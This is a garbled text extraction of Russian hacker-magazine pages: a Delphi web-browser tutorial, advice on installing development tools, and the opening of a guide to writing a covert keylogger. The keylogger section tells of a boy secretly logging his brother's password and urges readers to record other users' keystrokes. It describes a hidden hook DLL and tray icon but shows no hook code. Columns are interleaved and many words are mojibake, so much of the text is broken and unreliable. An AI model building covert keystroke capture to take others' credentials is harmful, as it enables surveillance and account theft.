книги хакеры / журнал хакер / специальные выпуски / Специальный выпуск 4_compressed
.pdf
|
|
КОНСТРУКТОР |
|
|
|
>СПЕЦВЫПУСК #4 |
0045 |
69 |
|
|
ВЕННЫЙ
ÅÐ
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
список) и переходи в ObjectInspector. Здесь ты |
занный в ComboBox1 |
Теперь дважды кликни по кнопке “Открыть”, и |
||||||
|
|
|
должен выделить закладку “Events” и произвес- |
|
|
|
Delphi автоматически создаст процедуру, кото- |
||||
|
ти сложнейшее действие ДоублеКлике по стро- |
Конец. |
|
|
рая будет вызываться при нажатии этой кнопки. |
||||||
|
|
|
ке “OnKeyDown”. ДоублеКлике нужно произво- |
|
|
|
В этой процедуре нужно написать следующее: |
||||
|
|
|
дить в правой половине строки. Если ты не пом- |
Нажми “F9”, и твоя прога должна засвистеть. |
|
|
|||||
|
|
|
нишь, где находиться “право” :), то щелкай по |
Введи какой-нибудь адрес в строку ComboBox и |
procedure |
TForm1.ToolButton1Click(Sender: |
|||||
|
|
|
выпадающему списку (это и есть “право”). Как и |
нажми Enter (это клавиша на кейборде :)). Если |
TObject); |
|
|||||
|
|
|
|
||||||||
|
|
|
раньше, Delphi создаст процедуру. Она будет |
ты правильно ввел адрес, то в WebBrowser1 че- |
begin |
|
|||||
|
|
|
вызываться каждый раз, когда ты будешь вво- |
рез несколько минут должен появиться указан- |
|
if OpenDialog1.Execute then |
|||||
|
|
|
äèòü |
какую-нибудь букву в “ComboBox”. Здесь |
ный Home Page. Когда наиграешься со своим |
|
begin |
||||
|
|
|
|
||||||||
|
|
|
òû |
должен написать следующее: |
|
произведением, то возвращайся в Delphi. Мы |
|
|
|||
|
|
|
|
|
|
|
еще многое должны сегодня успеть сделать. |
WebBrowser1.Navigate(OpenDialog1.FileName); |
|||
|
|
|
procedure TForm1.ComboBox1KeyDown(Sender: |
Улучшаем свой браузер |
|
ComboBox1.Text:=OpenDialog1.FileName; |
|||||
|
|
|
|
||||||||
|
|
|
TObject; var Key: Word; |
|
|
||||||
|
|
|
|
|
Shift: TShiftState); |
|
Кликни по ToolBar1 и снова переходи в |
|
end; |
||
|
|
|
|
|
|
|
|
||||
|
|
|
begin |
|
ObjectInspector. Здесь нужно изменить свойства |
end; |
|
||||
|
|
|
|
|
if Key= VK_RETURN then |
|
“AutoSize”, “ShowCaption” è “Flat” íà “true” (âñå |
Как всегда, объясняю по понятиям: |
|||
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
они по умолчанию равны false). Теперь щелкай |
||||
|
|
|
WebBrowser1.Navigate(ComboBox1.Text); |
|
правой кнопкой по ToolBar1 и из появившейся |
|
|
||||
|
|
|
end; |
|
менюшки выбирай пункт “New Button”. На |
Начать |
|
||||
|
|
|
|
|
|
|
ToolBar1 должна появиться новая пимпа с име- |
|
|
||
|
|
|
Примечание! Набирать на клаве нужно только |
нем “ToolButton1”. Выдели ее и в |
Если OpenDialog1 удачно запущен, то |
||||||
|
|
|
то, что написано между Begin и End, все осталь- |
ObjectInspector-е поменяй свойство Caption на |
|
|
|||||
|
|
|
ное уже должно быть создано Delphi. В данном |
“Открыть”. Создай еще насколько кнопок с заго- |
|
Начать |
|||||
|
|
|
случае ты должен набрать только “if |
Key= |
ловками: Назад, Вперед, Стоять, Обновить и |
|
WebBrowser1.Перейти на указанное |
||||
|
|
|
VK_RETURN |
then |
Печать. Результат должен быть похож на рису- |
имя файла в OpenDialog1; |
|||||
|
|
|
|||||||||
|
|
|
WebBrowser1.Navigate(ComboBox1.Text)”, |
ïðè- |
íîê 6. |
|
|
|
ComboBox1.Текст присвоить значе- |
||
|
|
|
чем без кавычек. Я остальные строчки привожу |
|
|
|
ние OpenDialog1.ИмяФайла |
||||
|
|
|
только чтобы тебе было удобно глазеть и срав- |
|
|
|
|
Закончить |
|||
|
|
|
нивать с тем, что за тебя делает Delphi. |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
Закончить |
|
|
|
|
Теперь то же самое, но по понятиям: |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
Теперь ты можешь запустить прогу и открыть с |
|
|
|
|
Процедура ComboBox1.КлавишаНажата (Sender |
|
|
|
помощью этой пимпы любой файл на диске. Но, |
||||
|
|
|
- Адрес ComboBox1; |
|
|
|
|
я думаю, что торопиться не надо. Заставим ра- |
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ботать остальные кнопки! Дважды кликни по |
|
|
|
|
|
|
Key - КодНажатойКлавиши; Shift - |
|
|
|
кнопке “Назад”. Какой будет результат, ты уже |
||
|
|
|
состояние клавиш Shift, Ctrl,Alt) |
|
Рисунок 6 |
|
|
догадался. Напиши тут следующее: |
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Начало |
|
|
|
|
|
procedure |
TForm1.ToolButton2Click(Sender: |
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
TObject); |
|
|
|
|
Если КодНажатойКлавиши равен Enter, то |
|
Установи еще на форму “OpenDialog” из заклад- |
begin |
|
||||
|
|
|
|
|
|
|
ки “Dialogs” палитры компонентов. Он нам скоро |
|
WebBrowser1.GoBack; |
||
|
|
|
|
|
WebBrowser1.Перейти на адрес, ука- |
понадобится. |
end; |
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
70 |
0046 |
КОНСТРУКТОР |
|
|
|
>СПЕЦВЫПУСК #4 |
|
|
||||
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Я думаю, что здесь ничего объяснять не надо. |
Для начала брось на форму StatusBar из заклад- |
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|||||||||||
Мы просто заставляем WebBrowser1 идти на |
ки “Win32” и измени у него свойство |
|
|
|
|
|
|
|
|
|
|||||||||
предыдущую страницу. |
“SimplePanel” в true (по умолчанию false). Теперь |
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
выдели WebBrowser1 и щелкни по закладке |
|
|
|
|
|
|
|
|
|
||||||||
Повтори те же операции для кнопки “Вперед”, |
“Events” в ОbjecInspector-е. Дважды кликни по |
|
|
|
|
|
|
|
|
|
|||||||||
чтобы создать процедуру. Напиши для нее сле- |
строке “OnStatusTextChange” |
и напиши в соз- |
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|||||||||||
дующий код: |
данной процедуре следующее: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
procedure |
TForm1.ToolButton3Click(Sender: |
procedure |
TForm1.WebBrowser1StatusTextCha- |
|
|
|
|
|
|
|
|
|
|||||||
TObject); |
|
nge(Sender: TObject; |
|
|
|
|
|
|
|
|
|
||||||||
begin |
WebBrowser1.GoForward; |
begin |
const Text: WideString); |
|
Рисунок 7 |
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
end; |
StatusBar1.SimpleText:=Text; |
|
|
|
|
|
|
|
|
|
|||||||||
|
end; |
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Для кнопки “Стоять” напиши: “Стоять на месте |
|
|
|
|
|
|
|
|
|
вать их с помощью |
свойства ImageIndex |
ó êíîï- |
|
|
|||||
свистком в небо, руки по швам”. Шучу :). Напи- |
Здесь мы присваиваем переменную “Text” (в |
ки. Например: щелкни |
по кнопке “Стоять” |
è èç- |
|
|
|||||||||||||
ши лучше это: |
ней хранится текст подсказки) в StatusBar1. Те- |
ìåíè ImageIndex íà |
0. На кнопке должна поя- |
||||||||||||||||
|
|
перь ты сможешь видеть подсказки в строке |
виться картинка, указанная первой в ImageList1. |
|
|||||||||||||||
|
|
|
|||||||||||||||||
procedure |
TForm1.ToolButton4Click(Sender: |
состояния. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
TObject); |
|
|
|
|
|
|
|
|
|
|
Можешь создать еще один ImageList, который |
|
|
||||||
begin |
|
Давай добавим ещ¸ индикатор загрузки. Для |
подставляется в HotImages. В этом случае кар- |
||||||||||||||||
|
WebBrowser1.Stop; |
этого брось на форму ProgressBar из закладки |
тинки из этого ИмаджеЛиста будут подставлять- |
||||||||||||||||
end; |
|
“Win32”. Измени у него свойство “Align” на |
ся на кнопку, когда ты наводишь на нее маусом. |
|
|
||||||||||||||
|
|
|
|||||||||||||||||
|
|
“alBottom”, чтобы он находился вдоль нижней |
|
|
|
|
|
|
|
|
|
||||||||
Для пимпы “Обновить”: |
границы формы. Снова выдели WebBrowser1 и |
Капец |
|
|
|
|
|
|
|
||||||||||
|
|
щелкни по закладке “Events” в ОbjecInspector-е. |
|
|
|
|
|
|
|
|
|
||||||||
procedure |
TForm1.ToolButton5Click(Sender: |
Дважды щелкни по строке “OnProgressChange” и |
Все, косметический ремонт окончен. Дави на |
|
|
|
|
|
|||||||||||
TObject); |
|
напиши в созданной процедуре: |
|
|
|
|
|
“F9”, и Delphi в последний раз создаст тебе |
|
||||||||||
|
|
||||||||||||||||||
begin |
|
|
|
|
|
|
|
|
|
|
окончательную версию. На рисунке 8 ты можешь |
|
|||||||
|
WebBrowser1.Refresh; |
procedure |
TForm1.WebBrowser1ProgressCha- |
увидеть результат сегодняшней работы.= |
|
||||||||||||||
end; |
|
nge(Sender: TObject; Progress, |
|
|
|
|
|
|
|
|
|
||||||||
И, наконец, для пимпы “Печать”: |
|
ProgressMax: Integer); |
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
begin |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
procedure |
TForm1.ToolButton6Click(Sender: |
|
ProgressBar1.Max:=ProgressMax; |
|
|
|
|
|
|
|
|
|
|||||||
TObject); |
|
|
ProgressBar1.Position:=Progress; |
|
|
|
|
|
|
|
|
|
|||||||
var |
|
end; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
PostData, Headers:OLEvariant; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
begin |
|
Здесь мы созданному ProgressBar1 (индикатор |
|
|
|
|
|
|
|
|
|
||||||||
WebBrowser1.ExecWB(OLECMDID_PRINT,OLECM |
загрузки) присваиваем максимальное значение |
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|||||||||||
DEXECOPT_DODEFAULT,PostData, Headers); |
(ProgressMax) и текущее значение (Progress). |
|
|
|
|
|
|
|
|
|
|||||||||
end; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Теперь надо украсить наши кнопки, а то они |
|
|
|
|
|
|
|
|
|
||||||||
Здесь только одна строка, но очень сложная, |
смотрятся как сам IE. Для этого брось на форму |
Рисунок 8 |
|
|
|
|
|
|
|
||||||||||
поэтому я не стану ее объяснять. Скажу только, |
ImageList и произведи по нему ДоублеКлик. Пе- |
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|||||||||||
что в этой строке я посылаю команду через OLE |
ред тобой откроется окно, как на рисунке 7. Сю- |
|
|
|
|
|
|
|
|
|
|||||||||
ядру IE. Просто скопируй ее один к одному в |
да нужно добавить картинки размером 16х16. |
Можешь пользоваться |
полноценным браузером |
|
|
||||||||||||||
свой исходник и поверь мне на слово. |
Для этого нажми кнопку “Add”, и перед тобой от- |
в свое удовольствие. |
Конечно же, это не все |
||||||||||||||||
|
|
кроется стандартное окно открытия файла. Най- |
возможности, которые можно выцепить из |
||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
Теперь можешь нажать “F9”, и твоя прога дол- |
ди картинку и нажми “Открыть”. Повтори эту |
WebBrowser1. Сюда еще очень многое можно |
|||||||||||||||||
жна запуститься. Попробуй поиграть с ней. Неп- |
процедуру 6 раз (6 картинок для 6-и кнопок). |
добавить - главное, чтобы хватило воображения |
|||||||||||||||||
лохие ощущения? Закрывай свой браузер, оста- |
После всего этого нажми “ОК”. |
и умений. Но это уже специфические детали, и |
|||||||||||||||||
лись последние штрихи! |
Теперь выдели ToolBar1 и в ObjectInspector-е |
я их описывать не буду, потому что тебе понадо- |
|
||||||||||||||||
|
|||||||||||||||||||
|
|
бится объяснять все принципы программирова- |
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
Последние штрихи |
измени свойство Images на “ImageList1”. На |
ния на Delphi. А это - целая история. Пиши, ес- |
|||||||||||||||||
|
|
твоих кнопках должны появиться картинки. Если |
ли что, и удачи! |
|
|
|
|
|
|
|
|||||||||
Твой браузер почти готов. Я только наведу не- |
ты добавлял картинки не в том порядке, как они |
|
|
|
|
|
|
|
|
|
|||||||||
большой |
марафет. |
у тебя стоят на форме, то можешь пересортиро- |
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ТЕОРИЯ |
|
|
|
>СПЕЦВЫПУСК #4 |
0047 |
71 |
|
|
ИНСТАЛЛИМ ЯЗЫКИ
ПРОГРАММИРОВАНИЯ
CJ Pusher (lapkarelief@mail.ru)
Один мой друг, если у него слетают винды, все время просит меня их установить. Я всегда помогал ему с удовольствием, но недоумевал, какие сложности могут быть при установке мастдая или какой-либо проги. И думал я так, пока не стал инсталлировать себе Visual C++ с 200-ми свободными мегами на винте. Пому- читься пришлось здорово, чтобы сжать
эту громадину до нормального размера. Вероятно, чувак, тебе придется испытать то же самое с любым подобным софтом.
72 |
0048 |
ТЕОРИЯ |
|
|
>СПЕЦВЫПУСК #4 |
|
|||||
|
|
|
|
|
|
Дельфины и их состав |
очень, то... не можешь. Решать тебе, ставить |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|||||||||||||||||||
Visual C++ - The Fat Of The Land |
|
|||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
ýòî èëè íåò. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Delphi - это простая и очень визуальная среда. |
j) Visual Component Library Source - исходники |
Жир земли, который |
надо сбрасывать. |
|
Угадай, |
|
|
|||||||||||||||||||
В ней удобно работать, и ее легко изучить. |
VCL основной Дельфевской библиотеки. См. |
сколько весит полная установка? 430 |
мегов на |
|
|
|||||||||||||||||||||
Вполне вероятно, что ты захочешь поставить |
предыдущий пункт. |
|
винте. Хотя чему тут удивляться - Visual |
Studio, |
|
|
||||||||||||||||||||
именно Delphi. При установке надо выбрать |
k) Team Development Support - поддержка ко- |
в состав которого входит Visual C++, |
занимает |
|
|
|||||||||||||||||||||
Custom вариант. Вот какие компоненты можно |
манды разработчиков. Твоя команда - ты сам. |
шесть компактов. Воистину рекордсмен по |
|
|
|
|||||||||||||||||||||
поставить в Delphi 3: |
|
|
|
|
|
Доверяй только себе, и тогда |
все получится. |
поеданию винчестеров. Как сократить |
объем? |
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
Зачем нам команда? Мы не |
футболисты... |
Только правильным |
выбором компонентов. |
|
|
|
||||||||
1) Delphi 3 - главные файлы приложения. Тебе |
l) Help Files - справка. Никогда |
не брезгуй по- |
Вся прога состоит |
из четырех главных |
элемен- |
|
|
|
||||||||||||||||||
они нужны не все, поэтому надо нажать |
мощью, и тогда ты будешь |
хорошим кодером. |
тов, каждый из |
которых содержит еще |
компо- |
|
|
|
||||||||||||||||||
|
|
|
|
|
|
|
|
Ставь. |
|
|
|
|
|
|
|
|
||||||||||
Options, чтобы открыть состав Delphi 3, а он |
|
ненты. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
такой: |
|
|
|
|
|
|
|
|
|
|
m) MS SDK Help Files - мракософтовская по- |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
a) Program Files - основные программы. Без |
мощь по всему, что связано с мастдаем. Она |
1) VC++ Developer Studio - интегрированная |
|
|||||||||||||||||||||||
них ничего не заработает, поэтому этот пункт |
есть в каждом языке, и если ты ее поставил в |
среда. Без нее никуда. |
|
|
|
|
|
|
|
|
||||||||||||||||
нельзя отключать. |
|
|
|
|
|
одном языке, то в другом она уже не нужна. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
b) Image Editor - редактор картинок. Он помо- |
Åñëè ó òåáÿ åñòü Microsoft Developer Network, |
2) VC++ Runtime Libraries - библиотеки языка |
|
|||||||||||||||||||||||
жет рисовать |
ñâîè |
|
|
|
|
|
|
|
|
|
|
|
|
С. Здесь |
нужны не |
|
|
|
||||||||
иконки, |
курсоры. |
|
Если ты полон желания кодить, |
все опции: |
|
|
|
|
|
|
|
|||||||||||||||
Может понадобить- |
то скорее беги в Митино и за- |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
ñÿ, õîòÿ |
ýòî |
âñå |
|
|
|
a) |
Static |
|
|
CRT |
|
|||||||||||||||
можно |
делать |
|
è â |
|
купайся самым последним софтом |
Libraries - статичес- |
|
|
||||||||||||||||||
Corel’å. |
|
|
|
|
|
по программированию. Однако |
êèå |
библиотеки, то |
|
|
|
|||||||||||||||
c) Visual |
|
Query |
|
åñòü |
êîä |
|
èç |
íèõ |
|
|
|
|||||||||||||||
Builder - визуальный |
|
поставить на комп какую-нибудь |
вставляется |
|
|
â |
|
|
|
|||||||||||||||||
построитель |
запро- |
|
визуальную среду программиро- |
EXE’øíèê, èç-çà ÷å- |
|
|||||||||||||||||||||
сов к базам данных - |
|
вания становится непросто, |
го он сильно увели- |
|
|
|||||||||||||||||||||
прога, недостойная |
|
когда винт у тебя размером |
чивается |
â |
разме- |
|
|
|
||||||||||||||||||
настоящего |
хакера. |
|
ðàõ, |
çàòî |
îí |
будет |
|
|
|
|||||||||||||||||
Запросы |
íàäî |
ïè- |
|
далеко не десятки гигабайт. |
работать, даже если |
|
||||||||||||||||||||
сать ручками! |
Ýòî |
|
Большинство компиляторов |
в системе нет DLL с |
|
|||||||||||||||||||||
же элементарно. К |
|
|
||||||||||||||||||||||||
|
сильно раздуты: некоторые |
библиотекой языка |
|
|||||||||||||||||||||||
свиньям его. |
|
|
|
|
С. На всякий случай |
|
||||||||||||||||||||
d) WinSight32 - âðî- |
|
дотягивают до трех сотен |
можно поставить. |
|
||||||||||||||||||||||
де должна помогать |
|
мегов. Поэтому, обычно, |
|
|
|
|
b) |
Shared |
CRT |
|
||||||||||||||||
при отладке |
|
ïîä |
|
|
|
|
|
Libraries - библиоте- |
|
|||||||||||||||||
мастдаем. |
|
Сомне- |
|
приходится выкидывать |
|
|
|
|
êè, |
находящиеся в |
|
|||||||||||||||
ваюсь. Без |
íåå |
|
из установки до фига разных |
|
|
|
DLL. Очень |
удобная |
|
|||||||||||||||||
прекрасно |
|
ñïðà- |
|
ненужных компонентов. |
|
|
|
|
вещь, и, в основном, |
|
||||||||||||||||
вишься - |
поверь |
|
|
|
|
|
ты будешь |
пользо- |
|
|||||||||||||||||
ìíå. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ваться этими |
áèá- |
|
|
|
||||
e) Sample Programs - |
|
|
|
|
|
|
то не ставь этот компонент - в MSDN все это |
|
|
|
|
лиотеками. |
|
|
|
|
|
|
||||||||
примеры для Delphi. |
Если ты хочешь, то мо- |
c) CRT Source Code - для продвинутых, исход- |
|
|||||||||||||||||||||||
жешь их поставить. |
Правда, запустив их один |
åñòü. |
ники библиотек языка. Позволяют отлаживать |
|
||||||||||||||||||||||
раз, больше про них |
не вспомнишь. |
|
|
проги на уровне библиотек и занимают много |
|
|||||||||||||||||||||
f) Internet Controls - |
элементы управления для |
2) Database Desktop - нужна, если ты очень |
места. Незачем загрязнять винт. |
|
|
|
|
|
|
|
||||||||||||||||
Инета. Ты же хакер! |
А Инет сейчас в моде (по- |
серьезно занимаешься базами данных. |
d) Single Threaded CRT Libraries - “однопоточ- |
|
||||||||||||||||||||||
ка еще). Пригодится. |
|
|
|
|
|
|
3) Borland Database Engine - äàæå åñëè òû íå- |
ные” библиотеки. Не нужны. |
|
|
|
|
|
|
|
|
||||||||||
g) Sample ActiveX Controls - примеры элемен- |
серьезно занимаешься базами данных, все |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
тов ActiveX. Уверен, что если тебе что-нибудь |
равно ставь этот компонент. Жизнь тогда ста- |
3) VC++ MFC and Template Libraries - библио- |
|
|||||||||||||||||||||||
из этого потребуется, то можно будет найти в |
нет намного легче, и написать любую базу |
теки MFC и библиотеки шаблонов. Без них |
|
|||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
сто раз лучше на любом Add-On’е к Дельфям. |
данных станет как раз плюнуть. |
мало пользы от Visual C++, так как это основ- |
|
|||||||||||||||||||||||
h) Image Files - картинки. У меня в институте |
4) SQL Links - поставь все - не обеднеешь. |
ные его компоненты. Но так как они занимают |
|
|||||||||||||||||||||||
была преподша, которая ставила оценку по |
|
|
очень много места, не все оттуда надо ста- |
|
||||||||||||||||||||||
программе за красивые картинки. Уж картин- |
Это весь состав Delphi 3. Максимум, на сколь- |
âèòü: |
|
|
|
|
|
|
|
|
|
|||||||||||||||
ки-то красивые мы с тобой рисовать умеем. |
ко можно поставить это на 133 мега. После |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
Спасибо, не надо. |
|
|
|
|
|
|
некоторого времени освоения Delphi тебе, |
a) MS Fundation Class Libraries - библиотеки |
|
|||||||||||||||||
i) Debug Library Files - отладочные версии биб- |
скорее всего, потребуется докупить к нему |
MFC, они состоят из: |
|
|
|
|
|
|
|
|
|
|||||||||||||||
лиотек. Если ты очень крут, то можешь отла- |
Add-On диск с компонентами или постоянно |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
живать код на уровне библиотеки. А если не |
закачивать их из сетки. |
- Static Libraries - статические библиотеки. То |
|
|||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ТЕОРИЯ |
|
|
|
|
>СПЕЦВЫПУСК #4 |
0031 |
73 |
|
|
|
||||
|
|
|
|
|
|
MFC. Нужно для продвинутых.
b) MS Active Template Libraries - микрософтовская библиотека шаблонов. Тебе может пригодиться, но не сейчас.
4) VC++ Build Tools - утилиты для построения программ. Среди них компилятор, компоновщик и многое другое. Придется ставить.
Обрати внимание, что в Visual C++ нет хелпа - он на отдельном диске, который называется Microsoft Developer Network. Чтобы установить MSDN, надо во время установки отключить абсолютно все опции, тогда придется при запуске MSDN все время иметь в копме его инсталляционный диск. Пытаться что-то поставить частично в MSDN бессмысленно, так как рано или поздно понадобится все. Все поставить невозможно - MSDN весит 643 мега!
Сладкая парочка
Теперь еще два представителя семейства языковых. C++ Builder и Visual basic.
Вот C++ Builder - красный строитель. Он-то как раз частый гость на винтах начинающих кодеров. Он - Builder - устанавливается в полной аналогии с Delphi - там те же компоненты, и сами по себе эти две системы почти одинаковые. А Visual basic... Уж эту среду установить - куда проще. Там только четыре компонента, и все вместе занимает всего 50 мегабайт. Или он уже достал тебя в школе %)?
Здесь есть еще один подводный камень - когда держишь прогу в руках впервые, сложно понять, что тебе пригодится и надо будет это поставить, и что не пригодится и надо будет это выбросить. Специально для тебя будет описано, как ставить на комп самые известные проги:
Delphi, Visual C++, Borland C++, Visual Basic. Так что не бойся, что, поставив какой-нибудь Си, тебе придется отказываться от других прелестей жизни, типа “Need For Speed”, и все такое.
же самое, что и для Satic CRT Libraries. |
В России не пригодятся. |
Короче: вот тебе небольшое руководство по |
- Shared Libraries - DLL библиотеки. Необходи- |
- Browser Database - база данных, которая об- |
тому, как установить на свой комп язык прог- |
мы в любом случае. |
легчает обзор исходников библиотек MFC. По- |
раммирования. Надеюсь, оно поможет тебе |
- Static Libraries for Unicode, Shared Libraries |
лезно поставить ее, если ты установишь ис- |
сэкономить много места на винте, которое в |
for Unicode - библиотеки для Unicode систем. |
ходники к MFC (см. следующий пункт). |
скором займут исходники твоих будущих прог- |
Нужны в странах, где нестандартный алфавит |
- Source Code - исходники MFC, которые по- |
рамм. Удачи, приятель :). |
(Япония, Китай и т.д.). |
могают отлаживать проги на уровне библиотек |
|
74 |
004A |
КОНСТРУКТОР |
>СПЕЦВЫПУСК #4 |
|
ВЫСШИЙ ПИЛОТ |
||||
КЛАВИАТУРНЫЙ |
||||
CJ Pusher (lapkarelief@mail.ru) |
|
|||
Зачем мне сниффер? |
|
лохо бы представить ее интерфейс, окошки, |
меню File->New и во вкладке Projects выбери |
|
|
|
|
возможности, поведение. При запуске наше |
пункт MFC App Wizard (exe). |
У тебя есть старший брат? У моего друга есть. |
творение будет выдавать окно с тремя кнопка- |
|
||
Зато комп у них с братом - один на двоих. Ког- |
ми: “Начать работу”, “Выход”, “Выбор Log фай- |
|
||
да мой друг был еще маленьким, он очень хо- |
ла”. Там будет поле с именем отчетного файла |
|
||
тел полазать в Инете по account’у братца, ког- |
и системное меню в левом верхнем углу с пун- |
|
||
да тот уходил в институт. А вот логина с пас- |
ктом About, где будет висеть твое имя. Нравит- |
|
||
свордом так узнать и не мог. Так и остался ма- |
ся? Если нажать кнопку начала работы, то окно |
|
||
лыш в детстве без халявной порнухи. С тех пор |
свернется, клавиатурные сообщения будут пе- |
|
||
он сильно изменился - стал угрюмым, нелюди- |
рехватываться, и в tray (рядом с часами) поя- |
|
||
мым, часто плакал. А брат его сейчас работает |
вится иконка, щелкнув которую, можно опять |
|
||
программистом и до сих пор лазает в сетке. И |
вызвать главное окно, а дальше либо прекра- |
|
||
тут случайно нашел наш герой в директории |
тить работу, либо, сменив log-файл, возобно- |
|
||
брата очень интересный софт - прогу, которая |
вить весь процесс. Чего не сможет наша прога? |
|
||
ведет log всех нажатых на клаве кнопок. Он ре- |
Во-первых, она не записывает нажатия клавиш |
|
||
шил запустить ее перед тем, как брат полез в |
в ДОС окне (зато прекрасно работает в full |
|
||
Инет. Когда братец пошел спать, мой друг пос- |
screen, что подтвердил тест на NFS 3). Во-вто- |
|
||
мотрел этот log и нашел нужные логин и па- |
рых, кофе она тоже варить не умеет - придется |
Задай название проги и место, где будут жить |
||
роль. Затем он сам полез в сеть и в первую |
самому. И бутылки открывать - самому. |
исходные файлы. Дальше вылезет окно, в кото- |
||
очередь стал искать, куда заходил его брат. |
Часть вторая, или с чего начать? |
ром надо поставить переключатель на строчку |
||
После недолгого нажимания клавиш, записан- |
Dialog Based, то есть приложение на базе диа- |
|||
ных в log’е, он забрался на сайт садо-педофи- |
|
логового окна. |
||
лов-извращенцев с цветными иллюстрациями |
Как написать на С++ нашего шпиона? Здесь |
|
||
и анимацией. Парень пришел в ужас - он ни- |
придется не только рассчитывать на wizard - |
|
||
когда не ожидал от родного брата таких нак- |
немало придется написать ручками. Поэтому |
|
||
лонностей... А неделю назад брата посадили за |
прога будет состоять из двух частей: DLL и EXE. |
|
||
тройное изнасилование в извращенной форме. |
В DLL будет содержаться код ядра, перехваты- |
|
||
Âîò òàê. |
|
|
вающий клаву. Этот кусок приложения - самый |
|
|
|
|
нетривиальный и, к сожалению, останется |
|
Чтобы таких случаев больше не повторялось, |
практически без объяснения. Его придется це- |
|
||
советую внимательно относиться к своим род- |
ликом переписать без визардов или взять гото- |
|
||
ственникам, работающим за твоим компом. Не |
вый на сайте Х. EXE’шник будет управлять за- |
|
||
стоит ли тебе обзавестись клавиатурным |
пуском слежения, и в нем будет весь интер- |
|
||
шпионом, который бы беспристрастно записы- |
фейс. Большую часть кода сгенерит App Wizard |
|
||
вал бы все действия юзера на винт? Сейчас у |
Visual C++, и немного кода надо будет допи- |
|
||
тебя есть возможность самому написать такую |
сать. Сделать это помогут дальнейшие объяс- |
|
||
прогу. Если у тебя уже стоит Visual C++, то |
нения и картинки. Сначала мы напишем интер- |
|
||
можно начинать прямо сейчас, если нет, то |
фейс, а затем DLL. |
|
||
пришло самое время его поставить. |
Часть третья, или Let’s do it baby |
|
||
